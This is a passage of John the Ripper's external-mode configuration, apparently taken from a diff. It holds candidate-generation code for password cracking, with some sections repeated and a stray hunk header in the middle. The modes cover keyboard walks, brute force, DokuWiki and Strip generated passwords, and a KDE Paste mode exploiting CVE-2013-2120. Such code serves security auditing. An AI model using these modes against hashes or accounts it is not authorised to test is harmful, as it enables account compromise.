while(boundaries_charclass[j] < randnum) j++;
word[i] = j; /* Temporarily store in word[] */
used_charsets |= (1 << j);
i++;
}
}
i = 0;
while(i < password_length) {
/* BEGIN Random.Sample() */
if (++next >= 56) next = 1;
if (++nextp >= 56) nextp = 1;
randnum = seedarray[next] - seedarray[nextp];
if (randnum == 2147483647) randnum--;
if (randnum < 0) randnum += 2147483647;
seedarray[next] = randnum;
/* END Random.Sample() */
j = 0;
if(word[i] == 0) {
while(boundaries_letters[j] < randnum) j++;
word[i++] = lowers[j];
} else if (word[i] == 1) {
while(boundaries_letters[j] < randnum) j++;
word[i++] = uppers[j];
} else if (word[i] == 2) {
while(boundaries_numbers[j] < randnum) j++;
word[i++] = numbers[j];
} else { /* if (word[i] == 3) */
while(boundaries_symbols[j] < randnum) j++;
word[i++] = symbols[j];
}
}
word[i] = 0;
}
void restore()
{
int i, j, s, next, nextp, val, bucket, randnum, used_charsets;
int seedarray[56];
int candidate[32]; /* This needs to be at-least as big as password-length */
seed = 0;
while(seed > 0) {
/* BEGIN System.Random(seed) */
s = 161803398 - seed++;
seedarray[55] = s;
i = val = 1;
while(i < 55) {
bucket = 21 * i % 55;
seedarray[bucket] = val;
val = s - val;
if(val < 0) val += 2147483647;
s = seedarray[bucket];
i++;
}
i = 1;
while(i < 5) {
j = 1;
while(j < 56) {
seedarray[j] -= seedarray[1 + (j + 30) % 55];
if(seedarray[j] < 0) seedarray[j] += 2147483647;
j++;
}
i++;
}
next = 0;
nextp = 21;
/* END System.Random(seed) */
used_charsets = 0;
while(used_charsets != 15) {
i = 0;
while(i < password_length) {
/* BEGIN Random.Sample() */
if (++next >= 56) next = 1;
if (++nextp >= 56) nextp = 1;
randnum = seedarray[next] - seedarray[nextp];
if (randnum == 2147483647) randnum--;
if (randnum < 0) randnum += 2147483647;
seedarray[next] = randnum;
/* END Random.Sample() */
j = 0;
while(boundaries_charclass[j] < randnum) j++;
candidate[i] = j;
used_charsets |= (1 << j);
i++;
}
}
i = 0;
while(i < password_length) {
/* BEGIN Random.Sample() */
if (++next >= 56) next = 1;
if (++nextp >= 56) nextp = 1;
randnum = seedarray[next] - seedarray[nextp];
if (randnum == 2147483647) randnum--;
if (randnum < 0) randnum += 2147483647;
seedarray[next] = randnum;
/* END Random.Sample() */
j = 0;
if(candidate[i] == 0) {
while(boundaries_letters[j] < randnum) j++;
if(lowers[j] != word[i++]) break;
} else if (candidate[i] == 1) {
while(boundaries_letters[j] < randnum) j++;
if(uppers[j] != word[i++]) break;
} else if (candidate[i] == 2) {
while(boundaries_numbers[j] < randnum) j++;
if(numbers[j] != word[i++]) break;
} else { /* if (word[i] == 3) */
while(boundaries_symbols[j] < randnum) j++;
if(symbols[j] != word[i++]) break;
}
}
if(i == password_length) return;
}
}
# Try sequences of adjacent keys on a keyboard as candidate passwords
[List.External:Keyboard]
int maxlength, length; // Maximum password length to try, current length
int fuzz; // The desired "fuzz factor", either 0 or 1
int id[15]; // Current character indices for each position
int m[0x800]; // The keys matrix
int mc[0x100]; // Counts of adjacent keys
int f[0x40], fc; // Characters for the first position, their count
void init()
{
int minlength;
int i, j, c, p;
int k[0x40];
// Initial password length to try
if (req_minlen)
minlength = req_minlen;
else
minlength = 1;
if (req_maxlen)
maxlength = req_maxlen;
else
maxlength = cipher_limit; // the format's limit
fuzz = 1; // "Fuzz factor", set to 0 for much quicker runs
/*
* This defines the keyboard layout, by default for a QWERTY keyboard.
*/
i = 0; while (i < 0x40) k[i++] = 0;
k[0] = '`';
i = 0; while (++i <= 9) k[i] = '0' + i;
k[10] = '0'; k[11] = '-'; k[12] = '=';
k[0x11] = 'q'; k[0x12] = 'w'; k[0x13] = 'e'; k[0x14] = 'r';
k[0x15] = 't'; k[0x16] = 'y'; k[0x17] = 'u'; k[0x18] = 'i';
k[0x19] = 'o'; k[0x1a] = 'p'; k[0x1b] = '['; k[0x1c] = ']';
k[0x1d] = '\\';
k[0x21] = 'a'; k[0x22] = 's'; k[0x23] = 'd'; k[0x24] = 'f';
k[0x25] = 'g'; k[0x26] = 'h'; k[0x27] = 'j'; k[0x28] = 'k';
k[0x29] = 'l'; k[0x2a] = ';'; k[0x2b] = '\'';
k[0x31] = 'z'; k[0x32] = 'x'; k[0x33] = 'c'; k[0x34] = 'v';
k[0x35] = 'b'; k[0x36] = 'n'; k[0x37] = 'm'; k[0x38] = ',';
k[0x39] = '.'; k[0x3a] = '/';
i = 0; while (i < 0x100) mc[i++] = 0;
fc = 0;
/* rows */
c = 0;
i = 0;
while (i < 0x40) {
p = c;
c = k[i++] & 0xff;
if (!c) continue;
f[fc++] = c;
if (!p) continue;
m[(c << 3) + mc[c]++] = p;
m[(p << 3) + mc[p]++] = c;
}
f[fc] = 0;
/* columns */
i = 0;
while (i < 0x30) {
p = k[i++] & 0xff;
if (!p) continue;
j = 1 - fuzz;
while (j <= 1 + fuzz) {
c = k[i + 0x10 - j++] & 0xff;
if (!c) continue;
m[(c << 3) + mc[c]++] = p;
m[(p << 3) + mc[p]++] = c;
}
}
length = 0;
while (length < minlength)
id[length++] = 0;
}
void generate()
{
int i, p, maxcount;
word[i = 0] = p = f[id[0]];
while (++i < length)
word[i] = p = m[(p << 3) + id[i]];
word[i--] = 0;
if (i) maxcount = mc[word[i - 1]]; else maxcount = fc;
while (++id[i] >= maxcount) {
if (!i) {
if (length < maxlength) {
id[0] = 0;
id[length++] = 0;
}
return;
}
id[i--] = 0;
if (i) maxcount = mc[word[i - 1]]; else maxcount = fc;
}
}
void restore()
{
int i;
/* Calculate the length */
length = 0;
while (word[length])
id[length++] = 0;
/* Infer the first character index */
i = -1;
while (++i < fc) {
if (f[i] == word[0]) {
id[0] = i;
break;
}
}
/* This sample can be enhanced to infer the rest of the indices here */
}
# Simplest (fastest?) possible dumb exhaustive search, demonstrating a
# mode that does not need any special restore() handling.
# Defaults to printable ASCII.
[List.External:DumbDumb]
int maxlength; // Maximum password length to try
int startchar, endchar; // Range of characters (inclusive)
void init()
{
int i;
startchar = ' '; // Start with space
endchar = '~'; // End with tilde
// Create first word, honoring --min-len
if (!(i = req_minlen))
i++;
word[i] = 0;
while (i--)
word[i] = startchar;
word[0] = startchar - 1;
if (req_maxlen)
maxlength = req_maxlen; // --max-len
else
maxlength = cipher_limit; // format's limit
}
void generate()
{
int i;
if (++word <= endchar)
return;
i = 0;
while (word[i] > endchar) {
word[i++] = startchar;
if (!word[i]) {
word[i] = startchar;
word[i + 1] = 0;
} else
word[i]++;
}
if (i >= maxlength)
word = 0;
}
/*
* This mode will resume correctly without any restore handing.
* The empty function just confirms to John that everything is in order.
*/
void restore()
{
}
# Generic implementation of "dumb" exhaustive search, given a range of lengths
# and an arbitrary charset. This is pre-configured to try 8-bit characters
# against LM hashes, which is only reasonable to do for very short password
# half lengths.
[List.External:DumbForce]
int maxlength; // Maximum password length to try
int last; // Last character position, zero-based
int lastid; // Character index in the last position
int id[0x7f]; // Current character indices for other positions
int charset[0x100], c0; // Character set
void init()
{
int minlength;
int i, c;
// Initial password length to try, must be at least 1
if (req_minlen)
minlength = req_minlen;
else
minlength = 1;
if (req_maxlen)
maxlength = req_maxlen;
else
maxlength = cipher_limit; // the format's limit
/*
* This defines the character set.
*
* Let's say, we want to try TAB, all non-control ASCII characters, and all
* 8-bit characters, including the 8-bit terminal controls range (as these are
* used as regular national characters with some 8-bit encodings), but except
* for known terminal controls (risky for the terminal we may be running on).
*
* Also, let's say our hashes are case-insensitive, so skip lowercase letters
* (this is right for LM hashes).
*/
i = 0;
charset[i++] = 9; // Add horizontal TAB (ASCII 9), then
c = ' '; // start with space (ASCII 32) and
while (c < 'a') // proceed till lowercase 'a'
charset[i++] = c++;
c = 'z' + 1; // Skip lowercase letters and
while (c <= 0x7e) // proceed for all printable ASCII
charset[i++] = c++;
c++; // Skip DEL (ASCII 127) and
while (c < 0x84) // proceed over 8-bit codes till IND
charset[i++] = c++;
charset[i++] = 0x86; // Skip IND (84 hex) and NEL (85 hex)
charset[i++] = 0x87;
c = 0x89; // Skip HTS (88 hex)
while (c < 0x8d) // Proceed till RI (8D hex)
charset[i++] = c++;
c = 0x91; // Skip RI, SS2, SS3, DCS
while (c < 0x96) // Proceed till SPA (96 hex)
charset[i++] = c++;
charset[i++] = 0x99; // Skip SPA, EPA, SOS
c = 0xa0; // Skip DECID, CSI, ST, OSC, PM, APC
while (c <= 0xff) // Proceed with the rest of 8-bit codes
charset[i++] = c++;
/* Zero-terminate it, and cache the first character */
charset[i] = 0;
c0 = charset[0];
last = minlength - 1;
i = 0;
while (i <= last) {
id[i] = 0;
word[i++] = c0;
}
lastid = -1;
word[i] = 0;
}
void generate()
{
int i;
/* Handle the typical case specially */
if (word[last] = charset[++lastid]) return;
lastid = 0;
word[i = last] = c0;
while (i--) { // Have a preceding position?
if (word[i] = charset[++id[i]]) return;
id[i] = 0;
word[i] = c0;
}
if (++last < maxlength) { // Next length?
id[last] = lastid = 0;
word[last] = c0;
word[last + 1] = 0;
} else // We're done
word = 0;
}
void restore()
{
int i, c;
/* Calculate the current length and infer the character indices */
last = 0;
while (c = word[last]) {
i = 0; while (charset[i] != c && charset[i]) i++;
if (!charset[i]) i = 0; // Not found
id[last++] = i;
}
lastid = id[--last];
}
# Generic implementation of exhaustive search for a partially-known password.
# This is pre-configured for length 8, lowercase and uppercase letters in the
# first 4 positions (52 different characters), and digits in the remaining 4
# positions - however, the corresponding part of init() may be modified to use
# arbitrary character sets or even fixed characters for each position.
[List.External:KnownForce]
int last; // Last character position, zero-based
int lastofs; // Last character position offset into charset[]
int lastid; // Current character index in the last position
int id[0x7f]; // Current character indices for other positions
int charset[0x7f00]; // Character sets, 0x100 elements for each position
void init()
{
int length, maxlength;
int pos, ofs, i, c;
if (req_minlen)
length = req_minlen;
else
length = 8; // Password length to try (NOTE: other [eg. shorter]
// lengths will not be tried!)
if (req_maxlen)
maxlength = req_maxlen;
else
maxlength = cipher_limit; // the format's limit
/* This defines the character sets for different character positions */
if (length > maxlength)
length = maxlength;
pos = 0;
while (pos < 4) {
ofs = pos++ << 8;
i = 0;
c = 'a';
while (c <= 'z')
charset[ofs + i++] = c++;
c = 'A';
while (c <= 'Z')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
}
while (pos < length) {
ofs = pos++ << 8;
i = 0;
c = '0';
while (c <= '9')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
}
last = length - 1;
pos = -1;
while (++pos <= last)
word[pos] = charset[id[pos] = pos << 8];
lastid = (lastofs = last << 8) - 1;
word[pos] = 0;
}
void generate()
{
int pos;
/* Handle the typical case specially */
if (word[last] = charset[++lastid]) return;
word[pos = last] = charset[lastid = lastofs];
while (pos--) { // Have a preceding position?
if (word[pos] = charset[++id[pos]]) return;
word[pos] = charset[id[pos] = pos << 8];
}
word = 0; // We're done
}
void restore()
{
int i, c;
/* Calculate the current length and infer the character indices */
last = 0;
while (c = word[last]) {
i = lastofs = last << 8;
while (charset[i] != c && charset[i]) i++;
if (!charset[i]) i = lastofs; // Not found
id[last++] = i;
}
lastid = id[--last];
}
# A variation of KnownForce configured to try likely date and time strings.
[List.External:DateTime]
int last; // Last character position, zero-based
int lastofs; // Last character position offset into charset[]
int lastid; // Current character index in the last position
int id[0x7f]; // Current character indices for other positions
int charset[0x7f00]; // Character sets, 0x100 elements for each position
void init()
{
int length;
int pos, ofs, i, c;
length = 8; // Must be one of: 4, 5, 7, 8
/* This defines the character sets for different character positions */
pos = 0;
while (pos < length - 6) {
ofs = pos++ << 8;
i = 0;
c = '0';
while (c <= '9')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
}
if (pos) {
ofs = pos++ << 8;
charset[ofs] = '/';
charset[ofs + 1] = '.';
charset[ofs + 2] = ':';
charset[ofs + 3] = 0;
}
while (pos < length - 3) {
ofs = pos++ << 8;
i = 0;
c = '0';
while (c <= '9')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
}
ofs = pos++ << 8;
charset[ofs] = '/';
charset[ofs + 1] = '.';
charset[ofs + 2] = ':';
charset[ofs + 3] = 0;
while (pos < length) {
ofs = pos++ << 8;
i = 0;
c = '0';
while (c <= '9')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
}
last = length - 1;
pos = -1;
while (++pos <= last)
word[pos] = charset[id[pos] = pos << 8];
lastid = (lastofs = last << 8) - 1;
word[pos] = 0;
}
void generate()
{
int pos;
/* Handle the typical case specially */
if (word[last] = charset[++lastid]) return;
word[pos = last] = charset[lastid = lastofs];
while (pos--) { // Have a preceding position?
if (word[pos] = charset[++id[pos]]) return;
word[pos] = charset[id[pos] = pos << 8];
}
word = 0; // We're done
}
void restore()
{
int i, c;
/* Calculate the current length and infer the character indices */
last = 0;
while (c = word[last]) {
i = lastofs = last << 8;
while (charset[i] != c && charset[i]) i++;
if (!charset[i]) i = lastofs; // Not found
id[last++] = i;
}
lastid = id[--last];
}
# Try strings of repeated characters.
#
# This is the code which is common for all [List.External:Repeats*]
@@ -3303,6 +2298,1140 @@ void generate()
word[i] = 0;
}
# Try sequences of adjacent keys on a keyboard as candidate passwords
[List.External:Keyboard]
int maxlength, length; // Maximum password length to try, current length
int fuzz; // The desired "fuzz factor", either 0 or 1
int id[15]; // Current character indices for each position
int m[0x800]; // The keys matrix
int mc[0x100]; // Counts of adjacent keys
int f[0x40], fc; // Characters for the first position, their count
void init()
{
int minlength;
int i, j, c, p;
int k[0x40];
// Initial password length to try
if (req_minlen)
minlength = req_minlen;
else
minlength = 1;
if (req_maxlen)
maxlength = req_maxlen;
else
maxlength = cipher_limit; // the format's limit
fuzz = 1; // "Fuzz factor", set to 0 for much quicker runs
/*
* This defines the keyboard layout, by default for a QWERTY keyboard.
*/
i = 0; while (i < 0x40) k[i++] = 0;
k[0] = '`';
i = 0; while (++i <= 9) k[i] = '0' + i;
k[10] = '0'; k[11] = '-'; k[12] = '=';
k[0x11] = 'q'; k[0x12] = 'w'; k[0x13] = 'e'; k[0x14] = 'r';
k[0x15] = 't'; k[0x16] = 'y'; k[0x17] = 'u'; k[0x18] = 'i';
k[0x19] = 'o'; k[0x1a] = 'p'; k[0x1b] = '['; k[0x1c] = ']';
k[0x1d] = '\\';
k[0x21] = 'a'; k[0x22] = 's'; k[0x23] = 'd'; k[0x24] = 'f';
k[0x25] = 'g'; k[0x26] = 'h'; k[0x27] = 'j'; k[0x28] = 'k';
k[0x29] = 'l'; k[0x2a] = ';'; k[0x2b] = '\'';
k[0x31] = 'z'; k[0x32] = 'x'; k[0x33] = 'c'; k[0x34] = 'v';
k[0x35] = 'b'; k[0x36] = 'n'; k[0x37] = 'm'; k[0x38] = ',';
k[0x39] = '.'; k[0x3a] = '/';
i = 0; while (i < 0x100) mc[i++] = 0;
fc = 0;
/* rows */
c = 0;
i = 0;
while (i < 0x40) {
p = c;
c = k[i++] & 0xff;
if (!c) continue;
f[fc++] = c;
if (!p) continue;
m[(c << 3) + mc[c]++] = p;
m[(p << 3) + mc[p]++] = c;
}
f[fc] = 0;
/* columns */
i = 0;
while (i < 0x30) {
p = k[i++] & 0xff;
if (!p) continue;
j = 1 - fuzz;
while (j <= 1 + fuzz) {
c = k[i + 0x10 - j++] & 0xff;
if (!c) continue;
m[(c << 3) + mc[c]++] = p;
m[(p << 3) + mc[p]++] = c;
}
}
length = 0;
while (length < minlength)
id[length++] = 0;
}
void generate()
{
int i, p, maxcount;
word[i = 0] = p = f[id[0]];
while (++i < length)
word[i] = p = m[(p << 3) + id[i]];
word[i--] = 0;
if (i) maxcount = mc[word[i - 1]]; else maxcount = fc;
while (++id[i] >= maxcount) {
if (!i) {
if (length < maxlength) {
id[0] = 0;
id[length++] = 0;
}
return;
}
id[i--] = 0;
if (i) maxcount = mc[word[i - 1]]; else maxcount = fc;
}
}
void restore()
{
int i;
/* Calculate the length */
length = 0;
while (word[length])
id[length++] = 0;
/* Infer the first character index */
i = -1;
while (++i < fc) {
if (f[i] == word[0]) {
id[0] = i;
break;
}
}
/* This sample can be enhanced to infer the rest of the indices here */
}
# Simplest (fastest?) possible dumb exhaustive search, demonstrating a
# mode that does not need any special restore() handling.
# Defaults to printable ASCII.
[List.External:DumbDumb]
int maxlength; // Maximum password length to try
int startchar, endchar; // Range of characters (inclusive)
void init()
{
int i;
startchar = ' '; // Start with space
endchar = '~'; // End with tilde
// Create first word, honoring --min-len
if (!(i = req_minlen))
i++;
word[i] = 0;
while (i--)
word[i] = startchar;
word[0] = startchar - 1;
if (req_maxlen)
maxlength = req_maxlen; // --max-len
else
maxlength = cipher_limit; // format's limit
}
void generate()
{
int i;
if (++word <= endchar)
return;
i = 0;
while (word[i] > endchar) {
word[i++] = startchar;
if (!word[i]) {
word[i] = startchar;
word[i + 1] = 0;
} else
word[i]++;
}
if (i >= maxlength)
word = 0;
}
/*
* This mode will resume correctly without any restore handing.
* The empty function just confirms to John that everything is in order.
*/
void restore()
{
}
# Generic implementation of "dumb" exhaustive search, given a range of lengths
# and an arbitrary charset. This is pre-configured to try 8-bit characters
# against LM hashes, which is only reasonable to do for very short password
# half lengths.
[List.External:DumbForce]
int maxlength; // Maximum password length to try
int last; // Last character position, zero-based
int lastid; // Character index in the last position
int id[0x7f]; // Current character indices for other positions
int charset[0x100], c0; // Character set
void init()
{
int minlength;
int i, c;
// Initial password length to try, must be at least 1
if (req_minlen)
minlength = req_minlen;
else
minlength = 1;
if (req_maxlen)
maxlength = req_maxlen;
else
maxlength = cipher_limit; // the format's limit
/*
* This defines the character set.
*
* Let's say, we want to try TAB, all non-control ASCII characters, and all
* 8-bit characters, including the 8-bit terminal controls range (as these are
* used as regular national characters with some 8-bit encodings), but except
* for known terminal controls (risky for the terminal we may be running on).
*
* Also, let's say our hashes are case-insensitive, so skip lowercase letters
* (this is right for LM hashes).
*/
i = 0;
charset[i++] = 9; // Add horizontal TAB (ASCII 9), then
c = ' '; // start with space (ASCII 32) and
while (c < 'a') // proceed till lowercase 'a'
charset[i++] = c++;
c = 'z' + 1; // Skip lowercase letters and
while (c <= 0x7e) // proceed for all printable ASCII
charset[i++] = c++;
c++; // Skip DEL (ASCII 127) and
while (c < 0x84) // proceed over 8-bit codes till IND
charset[i++] = c++;
charset[i++] = 0x86; // Skip IND (84 hex) and NEL (85 hex)
charset[i++] = 0x87;
c = 0x89; // Skip HTS (88 hex)
while (c < 0x8d) // Proceed till RI (8D hex)
charset[i++] = c++;
c = 0x91; // Skip RI, SS2, SS3, DCS
while (c < 0x96) // Proceed till SPA (96 hex)
charset[i++] = c++;
charset[i++] = 0x99; // Skip SPA, EPA, SOS
c = 0xa0; // Skip DECID, CSI, ST, OSC, PM, APC
while (c <= 0xff) // Proceed with the rest of 8-bit codes
charset[i++] = c++;
/* Zero-terminate it, and cache the first character */
charset[i] = 0;
c0 = charset[0];
last = minlength - 1;
i = 0;
while (i <= last) {
id[i] = 0;
word[i++] = c0;
}
lastid = -1;
word[i] = 0;
}
void generate()
{
int i;
/* Handle the typical case specially */
if (word[last] = charset[++lastid]) return;
lastid = 0;
word[i = last] = c0;
while (i--) { // Have a preceding position?
if (word[i] = charset[++id[i]]) return;
id[i] = 0;
word[i] = c0;
}
if (++last < maxlength) { // Next length?
id[last] = lastid = 0;
word[last] = c0;
word[last + 1] = 0;
} else // We're done
word = 0;
}
void restore()
{
int i, c;
/* Calculate the current length and infer the character indices */
last = 0;
while (c = word[last]) {
i = 0; while (charset[i] != c && charset[i]) i++;
if (!charset[i]) i = 0; // Not found
id[last++] = i;
}
lastid = id[--last];
}
# Generic implementation of exhaustive search for a partially-known password.
# This is pre-configured for length 8, lowercase and uppercase letters in the
# first 4 positions (52 different characters), and digits in the remaining 4
# positions - however, the corresponding part of init() may be modified to use
# arbitrary character sets or even fixed characters for each position.
[List.External:KnownForce]
int last; // Last character position, zero-based
int lastofs; // Last character position offset into charset[]
int lastid; // Current character index in the last position
int id[0x7f]; // Current character indices for other positions
int charset[0x7f00]; // Character sets, 0x100 elements for each position
void init()
{
int length, maxlength;
int pos, ofs, i, c;
if (req_minlen)
length = req_minlen;
else
length = 8; // Password length to try (NOTE: other [eg. shorter]
// lengths will not be tried!)
if (req_maxlen)
maxlength = req_maxlen;
else
maxlength = cipher_limit; // the format's limit
/* This defines the character sets for different character positions */
if (length > maxlength)
length = maxlength;
pos = 0;
while (pos < 4) {
ofs = pos++ << 8;
i = 0;
c = 'a';
while (c <= 'z')
charset[ofs + i++] = c++;
c = 'A';
while (c <= 'Z')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
}
while (pos < length) {
ofs = pos++ << 8;
i = 0;
c = '0';
while (c <= '9')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
}
last = length - 1;
pos = -1;
while (++pos <= last)
word[pos] = charset[id[pos] = pos << 8];
lastid = (lastofs = last << 8) - 1;
word[pos] = 0;
}
void generate()
{
int pos;
/* Handle the typical case specially */
if (word[last] = charset[++lastid]) return;
word[pos = last] = charset[lastid = lastofs];
while (pos--) { // Have a preceding position?
if (word[pos] = charset[++id[pos]]) return;
word[pos] = charset[id[pos] = pos << 8];
}
word = 0; // We're done
}
void restore()
{
int i, c;
/* Calculate the current length and infer the character indices */
last = 0;
while (c = word[last]) {
i = lastofs = last << 8;
while (charset[i] != c && charset[i]) i++;
if (!charset[i]) i = lastofs; // Not found
id[last++] = i;
}
lastid = id[--last];
}
# A variation of KnownForce configured to try likely date and time strings.
[List.External:DateTime]
int last; // Last character position, zero-based
int lastofs; // Last character position offset into charset[]
int lastid; // Current character index in the last position
int id[0x7f]; // Current character indices for other positions
int charset[0x7f00]; // Character sets, 0x100 elements for each position
void init()
{
int length;
int pos, ofs, i, c;
length = 8; // Must be one of: 4, 5, 7, 8
/* This defines the character sets for different character positions */
pos = 0;
while (pos < length - 6) {
ofs = pos++ << 8;
i = 0;
c = '0';
while (c <= '9')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
}
if (pos) {
ofs = pos++ << 8;
charset[ofs] = '/';
charset[ofs + 1] = '.';
charset[ofs + 2] = ':';
charset[ofs + 3] = 0;
}
while (pos < length - 3) {
ofs = pos++ << 8;
i = 0;
c = '0';
while (c <= '9')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
}
ofs = pos++ << 8;
charset[ofs] = '/';
charset[ofs + 1] = '.';
charset[ofs + 2] = ':';
charset[ofs + 3] = 0;
while (pos < length) {
ofs = pos++ << 8;
i = 0;
c = '0';
while (c <= '9')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
}
last = length - 1;
pos = -1;
while (++pos <= last)
word[pos] = charset[id[pos] = pos << 8];
lastid = (lastofs = last << 8) - 1;
word[pos] = 0;
}
void generate()
{
int pos;
/* Handle the typical case specially */
if (word[last] = charset[++lastid]) return;
word[pos = last] = charset[lastid = lastofs];
while (pos--) { // Have a preceding position?
if (word[pos] = charset[++id[pos]]) return;
word[pos] = charset[id[pos] = pos << 8];
}
word = 0; // We're done
}
void restore()
{
int i, c;
/* Calculate the current length and infer the character indices */
last = 0;
while (c = word[last]) {
i = lastofs = last << 8;
while (charset[i] != c && charset[i]) i++;
if (!charset[i]) i = lastofs; // Not found
id[last++] = i;
}
lastid = id[--last];
}
# A variation of KnownForce configured to try all the 385641000 possible
# auto-generated passwords of DokuWiki versions up to at least 2013-05-10.
[List.External:DokuWiki]
int last; // Last character position, zero-based
int lastofs; // Last character position offset into charset[]
int lastid; // Current character index in the last position
int id[0x7f]; // Current character indices for other positions
int charset[0x7f00]; // Character sets, 0x100 elements for each position
void init()
{
int A[26], C[26], V[26];
int length;
int pos, ofs, i, c;
i = 0; while (i < 26) { A[i] = C[i] = 1; V[i++] = 0; }
i = 'a' - 'a'; C[i] = 0; V[i] = 1;
i = 'e' - 'a'; C[i] = 0; V[i] = 1;
i = 'i' - 'a'; C[i] = 0; V[i] = 1;
i = 'o' - 'a'; C[i] = 0; V[i] = 1;
i = 'u' - 'a'; C[i] = 0; V[i] = 1;
i = 'q' - 'a'; A[i] = C[i] = 0;
i = 'x' - 'a'; A[i] = C[i] = 0;
i = 'y' - 'a'; A[i] = C[i] = 0;
length = 8;
/* This defines the character sets for different character positions */
pos = 0;
while (pos < 6) {
ofs = pos++ << 8;
i = 0;
c = 'a' - 1;
while (++c <= 'z')
if (C[c - 'a'])
charset[ofs + i++] = c;
charset[ofs + i] = 0;
ofs = pos++ << 8;
i = 0;
c = 'a' - 1;
while (++c <= 'z')
if (V[c - 'a'])
charset[ofs + i++] = c;
charset[ofs + i] = 0;
ofs = pos++ << 8;
i = 0;
c = 'a' - 1;
while (++c <= 'z')
if (A[c - 'a'])
charset[ofs + i++] = c;
charset[ofs + i] = 0;
}
c = '1';
while (pos < length) {
ofs = pos++ << 8;
i = 0;
while (c <= '9')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
c = '0';
}
last = length - 1;
pos = -1;
while (++pos <= last)
word[pos] = charset[id[pos] = pos << 8];
lastid = (lastofs = last << 8) - 1;
word[pos] = 0;
}
void generate()
{
int pos;
/* Handle the typical case specially */
if (word[last] = charset[++lastid]) return;
word[pos = last] = charset[lastid = lastofs];
while (pos--) { // Have a preceding position?
if (word[pos] = charset[++id[pos]]) return;
word[pos] = charset[id[pos] = pos << 8];
}
word = 0; // We're done
}
void restore()
{
int i, c;
/* Calculate the current length and infer the character indices */
last = 0;
while (c = word[last]) {
i = lastofs = last << 8;
while (charset[i] != c && charset[i]) i++;
if (!charset[i]) i = lastofs; // Not found
id[last++] = i;
}
lastid = id[--last];
}
# Strip 0.5 ("Secure Tool for Recalling Important Passwords") cracker,
# based on analysis done by Thomas Roessler and Ian Goldberg. This will
# crack passwords you may have generated with Strip; other uses of Strip
# are unaffected.
[List.External:Strip]
int minlength, maxlength, mintype, maxtype;
int crack_seed, length, type;
int count, charset[128];
void init()
{
int c;
/* Password lengths to try; Strip can generate passwords of 4 to 16
* characters, but traditional crypt(3) hashes are limited to 8. */
minlength = req_minlen;
if (minlength < 4)
minlength = 4;
if (req_maxlen)
maxlength = req_maxlen;
else // the format's limit
maxlength = cipher_limit;
if (maxlength >16) maxlength = 16;
/* Password types to try (Numeric, Alpha-Num, Alpha-Num w/ Meta). */
mintype = 0; // 0
maxtype = 2; // 2
crack_seed = 0x10000;
length = minlength - 1;
type = mintype;
count = 0;
c = '0'; while (c <= '9') charset[count++] = c++;
}
void generate()
{
int seed, random;
int i, c;
if (crack_seed > 0xffff) {
crack_seed = 0;
if (++length > maxlength) {
length = minlength;
if (++type > maxtype) {
word[0] = 0;
return;
}
}
count = 10;
if (type >= 1) {
c = 'a'; while (c <= 'f') charset[count++] = c++;
c = 'h'; while (c <= 'z') charset[count++] = c++;
c = 'A'; while (c <= 'Z') charset[count++] = c++;
}
if (type == 2) {
charset[count++] = '!';
c = '#'; while (c <= '&') charset[count++] = c++;
c = '('; while (c <= '/') charset[count++] = c++;
c = '<'; while (c <= '>') charset[count++] = c++;
charset[count++] = '?'; charset[count++] = '@';
charset[count++] = '['; charset[count++] = ']';
charset[count++] = '^'; charset[count++] = '_';
c = '{'; while (c <= '~') charset[count++] = c++;
}
}
seed = (crack_seed++ << 16 >> 16) * 22695477 + 1;
i = 0;
while (i < length) {
random = ((seed = seed * 22695477 + 1) >> 16) & 0x7fff;
word[i++] = charset[random % count];
}
word[i] = 0;
}
/*
* This takes advantage of CVE-2013-2120 to find seeds that KDE Paste applet
* uses to generate passwords.
*
* This software is Copyright (c) Michael Samuel <mik@miknet.net>,
* and it is hereby released to the general public under the following terms:
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*/
[List.External:KDEPaste]
int charset[95];
int charset_length, password_length, endTime, startTime, msec;
void init()
{
password_length = 8; /* Change this to match config */
endTime = session_start_time;
startTime = 1343743200; /* Aug 1 2012 - Change this as necessary */
msec = 1; /* msec is never 0 - it would crash the applet */
charset_length = 0;
int c;
/* Comment out classes that you don't need, but keep the order the same */
/* Lowers */
c = 'a'; while (c <= 'z') charset[charset_length++] = c++;
/* Uppers */
c = 'A'; while (c <= 'Z') charset[charset_length++] = c++;
/* Numbers */
c = '0'; while (c <= '9') charset[charset_length++] = c++;
charset[charset_length++] = '0'; /* Yep, it's there twice */
/* Symbols */
c = '!'; while (c <= '/') charset[charset_length++] = c++;
c = ':'; while (c <= '@') charset[charset_length++] = c++;
c = '['; while (c <= '`') charset[charset_length++] = c++;
c = '{'; while (c <= '~') charset[charset_length++] = c++;
}
void generate()
{
int i, rand_seed, rand_result;
/* Terminate once we've generated for all *
* of the time range (Plus a bit more...) */
if (endTime + 1000 < startTime) {
word = 0;
return;
}
/* Skip msecs that would generate dupes */
while (endTime % msec != 0) {
if (++msec > 999) {
endTime--;
msec = 1;
}
}
rand_seed = endTime / msec;
i = 0;
while (i < password_length) {
/* this works like rand_r() from eglibc */
rand_seed = rand_seed * 1103515245 + 12345;
rand_result = (rand_seed >> 16) & 2047;
rand_seed = rand_seed * 1103515245 + 12345;
rand_result <<= 10;
rand_result ^= (rand_seed >> 16) & 1023;
rand_seed = rand_seed * 1103515245 + 12345;
rand_result <<= 10;
rand_result ^= (rand_seed >> 16) & 1023;
word[i++] = charset[rand_result % charset_length];
}
word[i] = 0;
if (++msec > 999) {
endTime--;
msec = 1;
}
}
void restore()
{
int i, rand_seed, rand_result;
i = 0;
/* Very crude restore, just dry-run until we hit last word */
while (i != password_length) {
while (endTime % msec != 0) {
if (++msec > 999) {
endTime--;
msec = 1;
}
}
rand_seed = endTime / msec;
i = 0;
while (i < password_length) {
/* this works like rand_r() from eglibc */
rand_seed = rand_seed * 1103515245 + 12345;
rand_result = (rand_seed >> 16) & 2047;
rand_seed = rand_seed * 1103515245 + 12345;
rand_result <<= 10;
rand_result ^= (rand_seed >> 16) & 1023;
